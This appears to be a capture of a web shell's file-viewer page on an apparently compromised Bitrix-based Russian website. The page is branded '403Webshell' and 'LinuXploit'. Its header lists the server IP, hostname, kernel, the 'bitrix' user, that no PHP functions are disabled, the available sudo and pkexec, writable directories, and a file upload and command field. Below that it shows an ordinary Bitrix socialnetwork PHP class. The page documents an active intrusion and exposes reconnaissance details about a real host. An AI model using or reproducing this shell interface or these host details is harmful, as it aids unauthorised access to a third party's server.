403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/socialnetwork/classes/general/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/socialnetwork/classes/general/log_smartfilter.php
<?php

class CAllSocNetLogSmartFilter
{
	public static function GetList($arOrder = array(), $arFilter = array(), $arGroupBy = false, $arNavStartParams = false, $arSelectFields = array())
	{
		global $DB;

		if (count($arSelectFields) <= 0)
			$arSelectFields = array("USER_ID", "TYPE");

		// FIELDS -->
		$arFields = array(
			"USER_ID" => Array("FIELD" => "SLSF.USER_ID", "TYPE" => "int"),
			"TYPE" => array("FIELD" => "SLSF.TYPE", "TYPE" => "char")
		);
		// <-- FIELDS

		$arSqls = CSocNetGroup::PrepareSql($arFields, $arOrder, $arFilter, false, $arSelectFields);

		$arSqls["SELECT"] = str_replace("%%_DISTINCT_%%", "", $arSqls["SELECT"]);

		$strSql =
			"SELECT ".$arSqls["SELECT"]." ".
			"FROM b_sonet_log_smartfilter SLSF ".
			"	".$arSqls["FROM"]." ";
		if ($arSqls["WHERE"] <> '')
			$strSql .= "WHERE ".$arSqls["WHERE"]." ";
		if ($arSqls["ORDERBY"] <> '')
			$strSql .= "ORDER BY ".$arSqls["ORDERBY"]." ";

		$dbRes = $DB->Query($strSql);

		return $dbRes;
	}

	public static function DeleteEx($user_id)
	{
		global $DB;
		
		$user_id = intval($user_id);

		if ($user_id <= 0)
			return false;
		
		$strWhere = " USER_ID = ".$user_id;

		$strSQL = "DELETE FROM b_sonet_log_smartfilter WHERE ".$strWhere;
		if ($DB->Query($strSQL))
			return true;
		else
			return false;
	}

	public static function GetDefaultValue($user_id)
	{
		if (intval($user_id) <= 0)
			return false;

		if(defined("BX_COMP_MANAGED_CACHE"))
			$ttl = 2592000;
		else
			$ttl = 600;

		$cache_id = 'sonet_smartfilter_default_'.$user_id;
		$obCache = new CPHPCache;
		$cache_dir = '/sonet/log_smartfilter/';

		if($obCache->InitCache($ttl, $cache_id, $cache_dir))
		{
			$tmpVal = $obCache->GetVars();
			$default_value = $tmpVal["VALUE"];
			unset($tmpVal);
		}
		else
		{
			$default_value = false;
			
			if (is_object($obCache))
				$obCache->StartDataCache($ttl, $cache_id, $cache_dir);

			$rsSmartFilter = CSocNetLogSmartFilter::GetList(
				array(),
				array(
					"USER_ID" => $user_id
				),
				array("TYPE")
			);
			if ($arSmartFilter = $rsSmartFilter->Fetch())
				$default_value = $arSmartFilter["TYPE"];

			if (is_object($obCache))
			{
				$arCacheData = Array(
					"VALUE" => $default_value
				);
				$obCache->EndDataCache($arCacheData);
			}
		}
		unset($obCache);

		if (!$default_value)
			$default_value = COption::GetOptionString("socialnetwork", "sonet_log_smart_filter", "N", "");

		return $default_value;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit